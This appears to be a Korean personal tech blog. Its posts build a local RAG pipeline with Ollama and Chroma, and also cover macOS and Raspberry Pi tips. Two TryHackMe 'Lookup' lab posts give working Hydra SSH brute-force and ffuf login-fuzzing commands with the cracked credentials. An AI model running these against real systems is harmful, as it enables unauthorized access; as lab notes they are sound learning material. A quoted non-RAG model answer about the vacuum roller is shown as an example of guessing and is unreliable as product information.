ByJJoon's Lab

영구 저장형 벡터 DB 빌드 및 RAG 질의 응답

Fri, 12 Jun 2026 01:42:03 +0900

앞서 간단한 예제를 통해 어떤 형식으로 PDF 파일을 읽어 질의하는지 확인했습니다. 이제 실제 벡터 DB를 구축하고 그걸 읽어 질의에 답변하는 코드를 작성해보겠습니다.

DB 구축 및 저장

PDF 파일을 읽어와 chroma_db라는 로컬 폴더를 만들고 그 안에 벡터 데이터를 영구 저장합니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


# ingest.py
import os
from langchain_community.document_loaders import PyPDFLoader
from langchain_ollama import OllamaEmbeddings
from langchain_chroma import Chroma
from langchain_text_splitters import RecursiveCharacterTextSplitter

# 1. 환경 설정
PDF_PATH = "qrevo.pdf"
DB_DIR = "./chroma_db" # 데이터가 영구 저장될 폴더명

# 2. 임베딩 모델 설정
embeddings = OllamaEmbeddings(model="bge-m3")

# 3. PDF 읽어오기
print("PDF 문서를 로드하는 중...")
loader = PyPDFLoader(PDF_PATH)
raw_documents = loader.load()

# 4. 텍스트 효율적으로 쪼개기
print("텍스트를 청크 단위로 분할하는 중...")
text_splitter = RecursiveCharacterTextSplitter(chunk_size=500, chunk_overlap=100)
docs = text_splitter.split_documents(raw_documents)

# 5. Chroma DB를 하드디스크에 영구 저장 (persist_directory 지정)
print(f"임베딩 진행 후 '{DB_DIR}' 폴더에 벡터 데이터 저장 중...")
db = Chroma.from_documents(
 documents=docs,
 embedding=embeddings,
 persist_directory=DB_DIR # 이 한 줄로 메모리가 아닌 실제 디스크에 저장됩니다.
)

print("벡터 데이터베이스 구축 완료! 이제 퀴즈/질의 코드를 실행하세요.")

저장된 DB 로드 및 질의 스크립트

DB 구축후 해당 DB를 활용하여 질의하는 코드 입니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


# query.py
import os
from langchain_ollama import OllamaLLM
from langchain_ollama import OllamaEmbeddings
from langchain_chroma import Chroma
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.runnables import RunnablePassthrough
from langchain_core.output_parsers import StrOutputParser

# 1. 환경 설정 및 엔진 로드
DB_DIR = "./chroma_db" # 저장된 폴더 경로가 일치해야 합니다.

llm = OllamaLLM(model="qwen3:8b")
embeddings = OllamaEmbeddings(model="bge-m3")

# 2. 하드디스크에 저장된 Chroma DB 불러오기
if not os.path.exists(DB_DIR):
 print(f"에러: '{DB_DIR}' 폴더가 존재하지 않습니다. 먼저 ingest.py를 실행하세요.")
 exit()

print("영구 저장된 벡터 DB 로드 완료.")
db = Chroma(
 persist_directory=DB_DIR, 
 embedding_function=embeddings
)

# 3. 검색기(Retriever) 및 컨텍스트 유틸리티 설정
retriever = db.as_retriever(search_type="mmr", search_kwargs={"k": 5})

def format_docs(docs):
 return "\n\n".join(doc.page_content for doc in docs)

# 4. 프롬프트 템플릿 설정
template = """당신은 주어진 문맥(Context)을 기반으로 질문에 답하는 친절한 AI 어시스턴트입니다.
질문에 답할 때 제공된 문맥을 최대한 활용하고, 문맥에 직접적인 단어가 없더라도 유추할 수 있다면 논리적으로 설명해 주세요.
만약 문맥을 아무리 찾아봐도 관련된 내용을 전혀 알 수 없다면, 억지로 지어내지 말고 "제공된 문서에서는 해당 내용을 찾을 수 없습니다"라고 정중하게 답하세요.

Context:
{context}

Question: {question}
Answer:"""
prompt = ChatPromptTemplate.from_template(template)

# 5. LCEL 파이프라인 구성
rag_chain = (
 {"context": retriever | format_docs, "question": RunnablePassthrough()}
 | prompt
 | llm
 | StrOutputParser()
)

# 6. 사용자 질의 응답 반복 루프
print("RAG AI가 준비되었습니다. 종료하려면 '종료'를 입력하세요.\n")
while True:
 query = input('질문을 입력하세요 : ')
 if query.strip() == "종료":
 print("프로그램을 종료합니다.")
 break
 
 if not query.strip():
 continue
 
 response = rag_chain.invoke(query)
 print("\n==== 진짜 RAG AI의 답변 ====")
 print(response)
 print("=" * 28 + "\n")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


(venv) % python3 query.py
영구 저장된 벡터 DB 로드 완료.
RAG AI가 준비되었습니다. 종료하려면 '종료'를 입력하세요.

질문을 입력하세요 : 'Roborock Qrevo Curv 2 Flow' 제품에서 롤러가 하는 역할은?

==== 진짜 RAG AI의 답변 ====
제공된 문서에 따르면 **'Roborock Qrevo Curv 2 Flow'** 제품의 **롤러**는 **물걸레 청소 기능**을 수행하는 핵심 부품입니다. 구체적으로는 다음과 같은 역할을 합니다:

1. **물걸레 청소 기능**: 
 - 롤러 물걸레는 바닥을 닦는 데 사용되며, 물걸레를 롤러 축에 고정한 후 회전하면서 물을 퍼뜨려 바닥을 청소합니다. 
 - 사용 전에는 물걸레를 세척하고 자연 건조한 후, 1~3개월마다 교체해야 합니다. 

2. **청소 경로의 일부**: 
 - 로봇청소기의 청소 과정에서 롤러 물걸레는 바닥 표면을 닦는 주요 장치로, 먼지를 제거하고 깨끗한 상태로 유지하는 데 기여합니다. 

3. **청소 후 물 배출**: 
 - 롤러 물걸레가 사용된 후, 오수 통로(E3)를 통해 사용한 물과 쓰레기를 배출하는 과정에서 롤러의 역할이 연결됩니다. 

**결론**: 
롤러는 물걸레를 통해 바닥을 닦는 청소 기능을 수행하며, 물을 퍼뜨려 쓰레기를 제거하는 핵심 부품입니다. 문서에서는 롤러 자체의 구조나 추가 기능은 언급되지 않았으나, 물걸레 청소 과정에서 필수적인 역할을 합니다.
============================

질문을 입력하세요 : 종료
프로그램을 종료합니다.

문서 로드 및 텍스트 파이프라인 구현

Fri, 12 Jun 2026 01:01:00 +0900

이제 실제 pdf 파일을 기반으로 AI가 답변하는 완전한 로컬 RAG(Retrieval-Augmented Generation) 파이프라인의 전체 소스 코드를 작성해보겠습니다.

코드를 작성하기 전에 Qwen을 실행하여 'Roborock Qrevo Curv 2 Flow' 모델의 로봇청소기와 관련된 질문을 하겠습니다. 해당 로봇 청소기는 신제품이라 Qwen3 모델에 학습은 되지 않았을 겁니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


% ollama run qwen3:8b
>>> 'Roborock Qrevo Curv 2 Flow' 제품에서 롤러가 하는 역할은?
Thinking...
Okay, I need to explain the role of the roller in the Roborock Qrevo Curv 2 Flow. Let me start by recalling what I know about 
Roborock products. They're robotic vacuum cleaners, right? The Qrevo Curv 2 Flow is a specific model. Now, the user is asking 
about the roller's role. 

First, I should think about the typical components of a robotic vacuum. There's the main brush, which is usually a rotating brush 
that helps pick up hair and debris. But the user mentioned a roller. Wait, sometimes "roller" might refer to the main brush, but 
maybe in this model, they have a different design. 

Wait, the Qrevo Curv 2 Flow is a model that uses a "Curv" design, which I think refers to the shape of the robot. But the 
roller... Maybe it's a separate component? Or perhaps the user is referring to the main brush as the roller. Let me check. 

In some robotic vacuums, there's a main brush that rotates to agitate the floor and pick up debris. The roller could be part of 
the main brush assembly. Alternatively, maybe there's a separate roller for something else. Wait, the Qrevo Curv 2 Flow is a 
model that uses a "Flow" system, which might relate to air flow or water flow. But the user is asking about the roller. 

Wait, maybe the user is confusing terms. In some contexts, "roller" could refer to a rotating part that helps in suction. 
Alternatively, maybe it's a part of the cleaning mechanism. Let me think about the Qrevo Curv 2 Flow's features. 

I remember that Roborock's Qrevo series uses a main brush that rotates to help lift debris. The roller might be part of that main 
brush. So the role of the roller (main brush) would be to agitate the floor, loosen dirt, and push it into the suction area. 

Alternatively, could there be a separate roller for something else? Maybe not. Since the user is asking specifically about the 
roller, I should focus on the main brush. 

So, the main answer would be that the roller (main brush) helps in agitating the floor, lifting debris, and pushing it into the 
suction area to enhance cleaning efficiency. But I need to make sure this is accurate for the Qrevo Curv 2 Flow. 

Wait, maybe there's a specific feature in this model. The Qrevo Curv 2 Flow has a "Curv" design which allows it to clean under 
furniture. The roller might be part of the main brush that helps in cleaning different floor types. 

Alternatively, maybe the roller is part of the dustbin system? No, that's more likely the dustbin. 

I think the key point is that the roller (main brush) is responsible for agitating the floor, lifting dirt, and pushing it into 
the suction path. This is a standard function in robotic vacuums. So the answer should explain that role, and maybe mention how 
it contributes to the overall cleaning efficiency, especially in the Qrevo Curv 2 Flow model.
...done thinking.

Roborock Qrevo Curv 2 Flow의 **롤러**(주 모터 브러시)는 청소 효율을 극대화하기 위해 설계된 핵심 부품입니다. 이 롤러의 주요 역할은 
다음과 같습니다:

### 1. **바닥 표면의 먼지 및 쓰레기를 집어 올리기**
 - 롤러는 회전하면서 바닥 표면을 마찰시켜 **진드기, 털, 미세 먼지** 등을 흡입구로 끌어들입니다. 특히 **카펫, 천연 섬유, 매트** 같
은 표면에서 효과적입니다.

### 2. **흡입 효율 향상**
 - 롤러가 바닥을 진동시켜 쌓인 먼지를 **분산**하고, 흡입구로 더 잘 집어 올릴 수 있도록 합니다. 이는 **흡입력의 효율성**을 높여 전
체 청소 성능을 개선합니다.

### 3. **다양한 바닥 유형에 적응**
 - Qrevo Curv 2 Flow는 **경사 바닥, 높은 가구 밑, 복잡한 구조**에서도 청소를 수행할 수 있습니다. 롤러는 이러한 환경에서도 **진동
과 회전**을 통해 먼지를 효과적으로 제거합니다.

### 4. **청소 잔류물 제거**
 - 롤러는 흡입 후 남은 먼지를 **바닥 표면에 남기지 않도록** 청소하여, **반복적이고 깨끗한 청소**를 가능하게 합니다.

### 5. **Qrevo Curv 2 Flow의 특징과 연계**
 - 이 모델은 **Curv 디자인**으로 높은 가구 밑까지 접근 가능하며, 롤러는 이러한 구조에서 **모든 구석의 먼지를 집어 올리는 데 기여
**합니다. 또한, **Flow 시스템**과 연계해 **흡입력과 청소 효율**을 극대화합니다.

### 요약
롤러는 Roborock Qrevo Curv 2 Flow의 **핵심 청소 메커니즘**으로, 바닥 표면의 먼지를 집어 올리고 흡입 효율을 높이는 역할을 합니다. 이
는 다양한 바닥 유형과 복잡한 환경에서도 **정교하고 완전한 청소**를 가능하게 하는 중요한 요소입니다.

>>> Send a message (/? for help)

이제 아래 파이썬 코드를 실행하여 'Roborock Qrevo Curv 2 Flow' 제품 설명서 PDF 파일을 입력하고 결과를 보겠습니다.
제품 설명서 : https://gl-files.roborock.com/product/center/images/v69660e28ac3eb.pdf

그 과정은 아래와 같이 이루어질 것입니다.

[원시 데이터] -> (1) 로드 -> (2) 분할 -> (3) 벡터화 -> (4) 저장 -> [벡터 DB]

(1) 데이터 로드 (Load): PDF, 웹페이지, DB 등에서 텍스트를 긁어옵니다. (코드의 raw_documents)
(2) 텍스트 분할 (Split): 긴 글을 AI가 읽기 좋은 작은 조각으로 쪼갭니다. (코드의 CharacterTextSplitter)
(3) 텍스트 벡터화 (Embedding): 쪼갠 문장을 임베딩 모델을 통해 숫자로 바꿉니다. (코드의 OllamaEmbeddings)
(4) 저장 (Store): 벡터화된 데이터를 검색이 가능한 데이터베이스에 넣습니다. (코드의 Chroma.from_documents)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


from langchain_ollama import OllamaLLM
from langchain_ollama import OllamaEmbeddings
from langchain_chroma import Chroma
from langchain_text_splitters import CharacterTextSplitter
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.runnables import RunnablePassthrough
from langchain_core.output_parsers import StrOutputParser
from langchain_community.document_loaders import PyPDFLoader

# 1. 백엔드 AI 엔진 설정
llm = OllamaLLM(model="qwen3:8b")
embeddings = OllamaEmbeddings(model="bge-m3")

# 2. PDF 읽어오기
loader = PyPDFLoader("qrevo.pdf")
raw_documents = loader.load()

# 3. 텍스트 쪼개기 및 벡터 DB 저장
# chunk_size: 글자를 몇 자 단위로 쪼갤지, chunk_overlap: 쪼갤 때 앞뒤 문맥을 얼마나 겹치게 할지
text_splitter = CharacterTextSplitter(chunk_size=500, chunk_overlap=100)
docs = text_splitter.split_documents(raw_documents)
db = Chroma.from_documents(docs, embeddings)
retriever = db.as_retriever()

# 4. 프롬프트 템플릿 설정
template = """아래의 제공된 문맥(Context)만을 바탕으로 질문에 답하세요. 
만약 답을 모른다면 모른다고 말하고, 답변을 지어내지 마세요.

Context:
{context}

Question: {question}
Answer:"""
prompt = ChatPromptTemplate.from_template(template)

# 5. LCEL 파이프라인 구성
rag_chain = (
 {"context": retriever, "question": RunnablePassthrough()}
 | prompt
 | llm
 | StrOutputParser()
)

# 6. 내가 넣은 파일에 있을 법한 내용 질문하기
query = input('질문을 입력하세요 : ')
response = rag_chain.invoke(query)

print("==== 진짜 RAG AI의 답변 ====")
print(response)

1
2
3
4
5
6
7
8
9


(venv) % python3 app.py
질문을 입력하세요 : 'Roborock Qrevo Curv 2 Flow' 제품에서 롤러가 하는 역할은?
==== 진짜 RAG AI의 답변 ====
제공된 문맥에 따르면 'Roborock Qrevo Curv 2 Flow' 제품에서 **롤러**(롤러 물걸레)는 **바닥을 닦는 주요 청소 부품**으로 작용합니다. 구체적으로는 다음과 같은 역할을 합니다: 
1. **바닥 닦기**: 롤러 물걸레는 물과 청소제를 사용해 바닥을 닦는 데 사용되며, 사용 후 깨끗이 세척하고 건조시켜야 합니다. 
2. **청소 효율성**: 롤러 물걸레는 바닥의 먼지와 흔적을 제거하고, 물을 흡수하여 청소 효율을 높이는 역할을 합니다. 
3. **정기적인 관리**: 사용 후 세척하고 1~3개월마다 교체해야 하며, 오염된 경우 세척해야 합니다. 

문맥에 명시된 내용을 바탕으로, 롤러는 **청소 기능을 수행하는 핵심 부품**으로 설명됩니다.

파이썬 개발 환경 및 의존성 패키지 설정

Fri, 12 Jun 2026 00:35:28 +0900

여러 자료(여기서는 PDF 문서로 할 예정)를 읽어 벡터 데이터베이스(Vector DB)로 가공하기 위해 필요한 파이썬 개발 환경 및 필수 패키지 설치 단계를 설명합니다.

파이썬 가상환경(venv) 생성 및 활성화

다양한 파이썬 프로젝트를 진행할 때 패키지 버전 충돌을 방지하기 위해, 독립된 가상환경으로 하는 것이 편하다.

1
2
3
4
5


% mkdir local-rag-project 
% cd local-rag-project 
% /opt/homebrew/bin/python3 -m venv venv
% source venv/bin/activate
(venv) % 

RAG 필수 pip 패키지 설치

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# ① Ollama 연동 전용 패키지 설치 : Ollama의 LLM 및 Embeddings 기능을 최신 API 규격으로 제어하는 패키지입니다.
(venv) % pip install langchain-ollama

# ② 벡터 데이터베이스(Chroma) 전용 패키지 설치 : 임베딩 모델이 변환한 숫자 좌표(벡터)들을 하드디스크에 영구 저장하고 빛의 속도로 검색해 주는 벡터 DB 패키지입니다.
(venv) % pip install langchain-chroma

# ③ PDF 문서 로더 및 텍스트 분할 패키지 설치 : PDF 파일을 파이썬으로 읽어오고, AI가 읽기 좋은 형태로 쪼개주는 도구들입니다.
(venv) % pip install pypdf langchain-text-splitters

# ④ 다양한 외부 데이터 및 도구 연동 패키지 설치 : PDF 로더(PyPDFLoader)를 비롯해 각종 문서, 웹페이지, 데이터베이스 등 수백 가지의 외부 도구를 LangChain과 연결해 주는 커넥터 패키지입니다.
(venv) % pip install langchain-community

임베딩(벡터화) 모델 설치

1
2
3
4
5


% ollama pull bge-m3
% ollama list 
NAME ID SIZE MODIFIED 
bge-m3:latest 790764642607 1.2 GB 9 hours ago 
qwen3:8b 500a1f067a9f 5.2 GB 10 hours ago

샘플 코드 실행

이제 아래 코드를 실행해보자. 아래 코드는 PDF 파일을 넣기 전에 임의로 PDF 내용이라고 가정하고 raw_documents 값을 넣었습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


from langchain_ollama import OllamaLLM
from langchain_ollama import OllamaEmbeddings
from langchain_chroma import Chroma
from langchain_text_splitters import CharacterTextSplitter
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.runnables import RunnablePassthrough
from langchain_core.output_parsers import StrOutputParser

# 1. 백엔드 AI 엔진 설정
llm = OllamaLLM(model="qwen3:8b")
embeddings = OllamaEmbeddings(model="bge-m3")

# 2. 내 비밀 데이터(추후 PDF를 읽어 채울 내용들임)
raw_documents = [
 "철수의 비밀: 철수가 제일 좋아하는 음식은 매운 떡볶이이고, 취미는 주말마다 한강에서 자전거를 타는 것이다.",
 "영희의 비밀: 영희는 고양이를 두 마리 키우고 있으며, 장래희망은 우주비행사가 되는 것이다."
]

# 3. 텍스트 쪼개기 및 벡터 DB 저장
text_splitter = CharacterTextSplitter(chunk_size=100, chunk_overlap=0)
docs = text_splitter.create_documents(raw_documents)
db = Chroma.from_documents(docs, embeddings)
retriever = db.as_retriever()

# 4. 최신 규격 프롬프트 템플릿 생성
template = """아래의 제공된 문맥(Context)만을 바탕으로 질문에 답하세요. 
만약 답을 모른다면 모른다고 말하고, 답변을 지어내지 마세요.

Context:
{context}

Question: {question}
Answer:"""
prompt = ChatPromptTemplate.from_template(template)

# 5. 최신 LCEL 파이프라인(Chain) 구성
rag_chain = (
 {"context": retriever, "question": RunnablePassthrough()}
 | prompt
 | llm
 | StrOutputParser()
)

# 6. 질문 던지기
query = "철수가 주말에 주로 하는 행동과 좋아하는 음식을 알려줘."
response = rag_chain.invoke(query)

print("==== 최신 RAG AI의 답변 ====")
print(response)

1
2
3


(venv) % python3 app.py
==== 최신 RAG AI의 답변 ====
철수가 주말에 주로 하는 행동은 한강에서 자전거를 타는 것이고, 좋아하는 음식은 매운 떡볶이입니다.

Ollama 기반 로컬 LLM 환경 구축

Fri, 12 Jun 2026 00:06:56 +0900

로컬 LLM 환경을 구축하기 위해 연구하며 정리한 문서 입니다. 구축 환경은 Apple Mac mini M4(RAM:16GB) 입니다. 외부 인공지능 API(OpenAI 등)를 사용하지 않고, 100% 로컬 환경에서 구동되는 RAG(Retrieval-Augmented Generation) 시스템을 만들기 위한 Ollama 설치 및 초기 환경 설정 방법을 설명합니다.

Homebrew로 Ollama 설치 및 실행하기

macOS의 패키지 매니저인 Homebrew를 사용하면 터미널 명령어 한 줄로 Ollama를 깔끔하게 설치하고, 백그라운드 서비스로 편리하게 관리할 수 있습니다.

터미널을 열고 아래 명령어를 입력하여 Ollama를 설치합니다.

1
2


% brew install ollama
% ollama serve

로컬 AI 모델 다운로드

대화형 언어 모델 (Qwen3)을 다운로드 합니다. 저의 시스템 환경에서 가장 성능을 잘 내어주는 시스템을 AI에 문의한 결과 'qwen3:8b' 모델이라고 답변을 받아 그걸 설치했습니다.

1
2


% ollama run qwen3:8b
>>> Send a message (/? for help)

로컬 AI 모델 테스트

잘 동작하는지 질의해 봅니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


>>> "안녕"을 영어로 번역해줘.
Thinking...
Okay, the user asked to translate "안녕" into English. Let me think about the possible translations.

"안녕" is a common Korean greeting. The most straightforward translation is "Hello." But sometimes people might use "Hi" as 
well, which is more casual. Depending on the context, it could also be "Good day" or "How are you?" but those are more formal 
or used in specific situations.

I should consider the user's intent. They might just want a simple translation for general use. Since "Hello" is the most 
direct and widely understood, that's probably the safest answer. However, I should mention the alternatives like "Hi" to cover 
different contexts. Also, maybe note that the tone can vary based on formality. Let me check if there are any other nuances. 
For example, in some cases, "안녕" can also be used to say goodbye, but the primary translation for greeting is "Hello." So the 
main answer is "Hello," with additional options in parentheses. That should cover it.
...done thinking.

"안녕"은 영어로 **"Hello"**로 번역됩니다. 
가벼운 인사나 일상적인 대화에서 사용되며, **"Hi"**로도 표현할 수 있습니다. 
문맥에 따라 **"Good day"**나 **"How are you?"**처럼 더 정중하거나 따뜻한 표현도 사용될 수 있습니다. 😊

>>> Send a message (/? for help)

Hydra (Brute Force Attack)

Thu, 23 Oct 2025 00:22:54 +0900

Hydra는 브루트포스를 수행하는데 사용되는 툴로 매우 빠르고 FTP, SSH등 여러 프토로콜을 지원한다.

Tryhackme 문제 가운데 Lookup 문제를 푸는 과정에서 hydra를 사용한 기록을 남겨둔다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


$ hydra -l think -P list.txt ssh://lookup.thm
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-23 00:10:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 50 login tries (l:1/p:50), ~4 tries per task
[DATA] attacking ssh://lookup.thm:22/
[22][ssh] host: lookup.thm login: think password: josemario.AKA(think)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-23 00:11:05

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


$ sshpass -p "josemario.AKA(think)" ssh think@lookup.thm
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

 System information as of Wed 22 Oct 2025 03:18:45 PM UTC

 System load: 0.31 Processes: 129
 Usage of /: 63.5% of 9.75GB Users logged in: 0
 Memory usage: 29% IPv4 address for ens5: 10.201.55.24
 Swap usage: 0%

 => There are 2 zombie processes.

 * Ubuntu 20.04 LTS Focal Fossa will reach its end of standard support on 31 May

 For more details see:
 https://ubuntu.com/20-04

Expanded Security Maintenance for Infrastructure is not enabled.

221 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Wed Oct 22 15:17:50 2025 from 10.21.35.213
think@ip-10-201-55-24:~$ 

FFuf(Fuzz Faster U Fool) 사용법

Wed, 22 Oct 2025 22:18:53 +0900

FFuf 툴은 웹 애플리케이션 퍼징(Fuzzing) 툴로 URL이나 POST 값 등에 대해 공격할 수 있다.

공식 사이트 : https://github.com/ffuf/ffuf

Tryhackme 사이트의 Lookup 문제를 푸는 과정에서 해당 툴을 사용하게 되었는데 입력값은 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded" -fw 8 

 /'___\ /'___\  /'___\  
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\  
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\  \ \_\  \ \____/ \ \_\  
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : POST
 :: URL : http://lookup.thm/login.php
 :: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header : Content-Type: application/x-www-form-urlencoded
 :: Data : username=admin&password=FUZZ
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response words: 8
________________________________________________

password123 [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 327ms]

admin / password123을 입력했더니 암호는 맞지만 아이디가 틀린 것으로 나온다. 그래서 ID 값을 다시 확인해보았다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=FUZZ&password=password123' -H "Content-Type: application/x-www-form-urlencoded" -fw 10

 /'___\ /'___\  /'___\  
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\  
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\  \ \_\  \ \____/ \ \_\  
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : POST
 :: URL : http://lookup.thm/login.php
 :: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header : Content-Type: application/x-www-form-urlencoded
 :: Data : username=FUZZ&password=password123
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response words: 10
________________________________________________

jose [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 328ms]

이후 jose / password123으로 로그인을 성공하였다.

How to delete logs in Termius (macOS)

Sat, 11 Oct 2025 10:04:24 +0900

If you want to delete logs in Termius, and you have to delete this path files.

1

/Users/username/Library/Application Support/Termius/session-logs-v2/*.log

맥 자동실행 관련

Sun, 10 Aug 2025 23:18:30 +0900

Sleep에서 깨우기

1
2
3
4
5
6
7
8


특정 시간에 Sleep모드에서 깨우기
$ sudo pmset repeat wakeorpoweron MTWRFSU 23:10:00

확인
$ pmset -g sched

지우기
$ sudo pmset repeat cancel

Launchctl 관련

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


서비스 등록
$ launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.example.myservice.plist

서비스 자동실행 등록
$ launchctl enable gui/$(id -u)/com.example.myservice

상태 확인
$ launchctl print gui/$(id -u)/com.example.myservice

목록 확인
$ launchctl list | grep com.example.myservice

1
2
3
4
5
6
7
8


서비스 자동실행 해제
$ launchctl disable gui/$(id -u)/com.example.myservice

서비스 등록 해제
$ launchctl bootout gui/$(id -u)/com.example.myservice

plist 삭제
$ rm ~/Library/LaunchAgents/myservice.plist

bootstrap > enable > disable > bootout 이후 같은 레이블명으로 재등록을 하려면 문제가 발생함. 이는 disable을 하면 서비스 실행 여부뿐 아니라 등록 자체를 막는 플래그가 남음. 따라서 enable > bootstrap 순으로 진행해야 함.

User-Agent 확인시 유용한 사이트

Sun, 20 Jul 2025 14:57:35 +0900

파이썬 스크립트를 작성하다 보면 내가 보낸 Request의 User-Agent를 확인해야 하는 경우가 있다. 이때 유용하게 활용할 수 있을것으로 보인다.

1
2
3
4


import httpx

response = httpx.get("https://httpbin.org/user-agent")
print(response.json())

kernel: lan78xx 1-1.1.1:1.0 eth0: kevent 4 may have been dropped 에러 관련

Mon, 09 Jun 2025 21:56:28 +0900

라즈베리파이3B+ 운영 과정에서 아래와 같은 에러가 발생하며 네트워크가 끊기는 현상이 종종 발생하였다.

1

kernel: lan78xx 1-1.1.1:1.0 eth0: kevent 4 may have been dropped

다양한 검색을 통해 원인으로 지목된 것들은 다음과 같다.

1. 전원 어뎁터 문제 전원이 부족해 발생한다는 얘기가 있어 전용 어뎁터로 변경했지만 해결에 도움이 되지 않음.

2. 메모리 부족 스왑 메모리를 증설해보았지만 문제 해결에 도움이 되지 않음.

3. 커널 업데이트 최신 버전으로 업데이트를 했지만 여전히 문제 발생.

4. USB 2.0 버스 대역폭 문제 한동안 해결을 못하다 우연히 아래와 같은 게시물을 찾게 되었고 댓글이 눈에 띄었다. 라즈베리파이3B+는 유선 랜과 USB 포트를 공통된 USB 2.0 버스를 사용하며 대역폭은 최대 480Mbps라는 내용이다. https://www.clien.net/service/board/lecture/12566605

그렇다. 나는 안정성을 위해 USB디스크에 OS를 설치해 사용했었는데 이럴 경우 이더넷과 USB 포트를 같은 버스를 사용하기에 대역폭을 초과해서 사용했을수도 있었던 것이다.

이에 'USB디스크+유선랜' 또는 'SD카드+무선랜' 중 하나를 택하여 운영하는 방법이 있었으며 나는 SD카드에 OS를 설치하고 운영해보니 더이상 위와 같은 오류가 발생하지 않았다.

현재는 SD카드가 수차례 망가져 안정성 문제로 인해 다시 USB디스크에 OS를 설치하고 유선랜이 아닌 무선랜으로 운영중이다.

끝으로 아래는 ChatGPT가 정리한 라즈베리파이 3B+ 기준 유무선 LAN 비교표이다.

항목	유선 LAN	무선 LAN
연결 방식	USB 2.0을 통한 LAN7515	SDIO 직결
대역폭 공유 여부	USB 장치들과 공유	독립
최대 실효 속도	약 220~250Mbps (USB 병목 발생 가능)	100~150Mbps (5GHz 기준, 안정적이면 더 빠를 수 있음)
USB 사용 시 영향	있음 (속도 하락)	없음

라즈베리파이에서 무선랜 설정시 Hidden SSID 설정 방법

Mon, 09 Jun 2025 20:15:20 +0900

라즈베리파이에서 무선랜 설정시 히든 SSID일 경우 접속이 안되기도 한다. 이럴 경우 아래와 같이 'scan_ssid=1' 옵션을 추가 하면 된다.

1
2
3
4
5
6
7
8
9


ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
country=US

network={
 ssid="SSID"
 psk="PASSWORD"
 scan_ssid=1
}

크롤링시 팝업창 제어 관련

